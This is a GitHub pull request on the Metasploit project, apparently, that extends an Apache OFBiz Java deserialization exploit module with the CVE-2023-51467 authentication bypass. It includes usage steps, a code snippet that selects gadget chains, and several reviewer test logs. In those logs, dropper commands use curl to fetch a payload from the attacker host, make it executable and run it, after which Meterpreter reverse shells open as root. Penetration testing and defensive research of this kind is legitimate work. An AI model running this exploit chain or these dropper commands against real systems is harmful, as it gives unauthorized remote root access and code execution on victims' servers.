Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update apache_ofbiz_deserialization to include auth bypass #18681

Merged
merged 5 commits into from Feb 16, 2024

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Jan 9, 2024

fixes #18644

This PR updates apache_ofbiz_deserialization to work with CVE-2023-49070, and CVE-2023-51467, an auth bypass on newer versions of OFBiz < 18.12.10. It also requires a different gadget chain for de-serialization.

  • install the app, use the docker command for ease
  • msfconsole
  • use exploit/linux/http/apache_ofbiz_deserialization
  • set options as need be
  • exploit
  • you should get a root shell, at last on the docker image

@h00die
Copy link
Contributor Author

h00die commented Jan 9, 2024

still a work in progress, got to implement a few more things here, but its close.

@h00die h00die marked this pull request as ready for review January 17, 2024 01:13
@h00die h00die changed the title Draft: update apache_ofbiz_deserialization to include auth bypass Update apache_ofbiz_deserialization to include auth bypass Jan 17, 2024
@jheysel-r7 jheysel-r7 self-assigned this Jan 24, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great addition @h00die tested on both versions, 15 and 18. Just one suggestion about notifying the user on the compatibility of the Ofbiz versions vs. module options.

Version 15.12

msf6 exploit(linux/http/apache_ofbiz_deserialization) > set AUTHBYPASS false
AUTHBYPASS => false
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rport 8443
rport => 8443
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://172.16.199.1:7070/iVmk2ph
[+] Successfully executed command: curl -so /tmp/JXLKdNaG http://172.16.199.1:7070/iVmk2ph;chmod +x /tmp/JXLKdNaG;/tmp/JXLKdNaG;rm -f /tmp/JXLKdNaG
[*] Client 172.16.199.1 (curl/7.38.0) requested /iVmk2ph
[*] Sending payload to 172.16.199.1 (curl/7.38.0)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.1:53036) at 2024-01-24 13:51:05 -0500
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 8.4 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Version 18.12.09

msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rport 8444
rport => 8444
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set AUTHBYPASS true
AUTHBYPASS => true
msf6 exploit(linux/http/apache_ofbiz_deserialization) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache OFBiz detected
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://172.16.199.1:7070/M7tWdG5ZpN
[+] Successfully executed command: curl -so /tmp/aTlzLzae http://172.16.199.1:7070/M7tWdG5ZpN;chmod +x /tmp/aTlzLzae;/tmp/aTlzLzae;rm -f /tmp/aTlzLzae
[*] Client 172.16.199.1 (curl/7.74.0) requested /M7tWdG5ZpN
[*] Sending payload to 172.16.199.1 (curl/7.74.0)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:53012) at 2024-01-24 13:50:45 -0500
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : Debian 11.4 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Comment on lines 126 to 138
if datastore['AUTHBYPASS'] # assumes ~18.12 or so
res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
# used with 18.12 compatible, but not 15.12 compatible
generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both
)
else
res = send_request_xmlrpc(
# framework/webapp/lib/rome-0.9.jar
# used with 15.12, but not 18.12 compatible
generate_java_deserialization_for_command('ROME', 'bash', cmd)
)
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is the only place where we explicitly outline the compatibility restraints of the version of Apache Ofbiz with the datastore['AUTHBYPASS'] option. I feel like we should be more vocal about this.

If you run the module with default options against a version 15 target the module reports that the exploitation was successful but no session is returned as the wrong gadget chain is used but is not communicated:

msf6 exploit(linux/http/apache_ofbiz_deserialization) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://192.168.123.1:7070/df9nSANH
[+] Successfully executed command: curl -so /tmp/GzJvAvQo http://192.168.123.1:7070/df9nSANH;chmod +x /tmp/GzJvAvQo;/tmp/GzJvAvQo;rm -f /tmp/GzJvAvQo
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.

I think we should bail and notify the user if the module is running against version 15 with the datastore['AUTHBYPASS'] set to true (or running against 18 with the option set to false).

I think we could use the /webtools/control/xmlrpc endpoint to help with this - I know on Ofbiz 18 the version is displayed in the footer. Let me know what you think.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i like the idea, i'll see if i can research it in a few days

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So I was able to find version 17.x, and it also includes the version at the bottom of the page. I'm not a java fan, so the thought of installing this app by hand is less than appealing to me. I think I'll code it in, if we get a 200, check and return version number, if not assume its <16.

@h00die
Copy link
Contributor Author

h00die commented Feb 6, 2024

I did a bit of re-structuring to remove the option all together. we now just version detect and auto select the appropriate route

@jheysel-r7
Copy link
Contributor

Thanks for the update @h00die, I like how you just all together removed the need for the AUTHBYPASS datastore option. Makes for a seamless user experience when running against the different versions. Retested against both and everything looks great 🚀

Version 18.12

msf6 exploit(linux/http/apache_ofbiz_deserialization) > run

[*] Started HTTPS reverse handler on https://172.16.199.158:8444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache OFBiz version 18.12 detected
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://172.16.199.158:8081/z1KY9w2pDVjIN
[+] Successfully executed command: curl -so /tmp/BNgOhGst http://172.16.199.158:8081/z1KY9w2pDVjIN;chmod +x /tmp/BNgOhGst;/tmp/BNgOhGst;rm -f /tmp/BNgOhGst
[*] Client 172.17.0.2 (curl/7.74.0) requested /z1KY9w2pDVjIN
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Redirecting stageless connection from /lTHA-BF4Zz4PDwkNasCz_gqn4B_NXOsOLpDcAbVrrxA_Cj-rxMMmqtaeetvKEoI4aOgHPBWjMrXo833RbP2gQaYI_RktFHpBIeQLwAq3elcJ5VfVeRn4aXRLV with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Redirecting stageless connection from /lTHA-BF4Zz4PDwkNasCz_gQDoEYD6-6xqEsQjJjuLkjB50caf28PQcrORN3ZeUbRw2IazloKZ with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Redirecting stageless connection from /lTHA-BF4Zz4PDwkNasCz_gUGP0-N9lR3IVfAHaLYpC83E1YF2tcUCoWUMc6t7Yuj with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Redirecting stageless connection from /lTHA-BF4Zz4PDwkNasCz_g_LC0LoOU1SXPdybaz55Dkw2OFnlMNoE8cEQAebEEsA0JNFRCxsjO_WMDER_vTNurjRdy953N4moRwK8WMH with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Redirecting stageless connection from /lTHA-BF4Zz4PDwkNasCz_gJUxHP8cbjjoA8Fn8Ahm5-ai8LGgwZ9CLfB4PlI96xeQCw15QTwHnl01G7157ou10fA3xC-sLJVgfjIFJd3EMJk with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Redirecting stageless connection from /lTHA-BF4Zz4PDwkNasCz_gCey7LiM3GmNhzZA2F-LMjnjy1XlaqWz_7YH92elv8dd6_R4sfPC with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: stccevpj) Attaching orphaned/stageless session...
[*] Meterpreter session 3 opened (172.16.199.158:8444 -> 172.17.0.2:46370) at 2024-02-16 10:52:21 -0900
[*] Server stopped.

meterpreter > getuid
sysinfo
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 11.4 (Linux 5.15.0-92-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Version 15.12

msf6 exploit(linux/http/apache_ofbiz_deserialization) > run

[*] Started HTTPS reverse handler on https://172.16.199.158:8444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://172.16.199.158:8081/S2tCb04fyx
[+] Successfully executed command: curl -so /tmp/exJYJGJF http://172.16.199.158:8081/S2tCb04fyx;chmod +x /tmp/exJYJGJF;/tmp/exJYJGJF;rm -f /tmp/exJYJGJF
[*] Client 172.17.0.2 (curl/7.38.0) requested /S2tCb04fyx
[*] Sending payload to 172.17.0.2 (curl/7.38.0)
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: 4elltqz3) Redirecting stageless connection from /8Rosbi8KdtluEmgQC93cAQNj55YK-5UxS8Ip6OvFWcki-kedx with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: 4elltqz3) Redirecting stageless connection from /8Rosbi8KdtluEmgQC93cAQRkXaEwdeooBx97aQ1Nsep-meA2BV0AY8GnobemuxZ9GhlxflLMjM3Ocp7eRS6 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: 4elltqz3) Redirecting stageless connection from /8Rosbi8KdtluEmgQC93cAQAYWAceC9CCsyyf7sE4X_pKTtE2FMgkhj2oIVpj_3i0guf6oUZmW6CIXOqzOJdhh522K58RUvKmJpI6InUiYw2lbm9RCAqp8bJHP3cngg with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: 4elltqz3) Redirecting stageless connection from /8Rosbi8KdtluEmgQC93cAQKcbxcXGoCf957taFvVFip5_ with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36'
[*] https://172.16.199.158:8444 handling request from 172.17.0.2; (UUID: 4elltqz3) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (172.16.199.158:8444 -> 172.17.0.2:42566) at 2024-02-16 10:05:59 -0900
[*] Server stopped.

meterpreter > getuid
sysinServer username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 8.4 (Linux 5.15.0-92-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@jheysel-r7 jheysel-r7 merged commit a1b0ff0 into rapid7:master Feb 16, 2024
35 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 16, 2024
@jheysel-r7
Copy link
Contributor

Release Notes

This PR updates the pre-existing apache_ofbiz_deserialization module to include functionality that will bypass authentication by using the newly discovered auth-bypass vulnerability: CVE-2023-51467.

@h00die h00die deleted the ofbiz branch February 18, 2024 10:44
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Apache OfBiz ERP System 0day
3 participants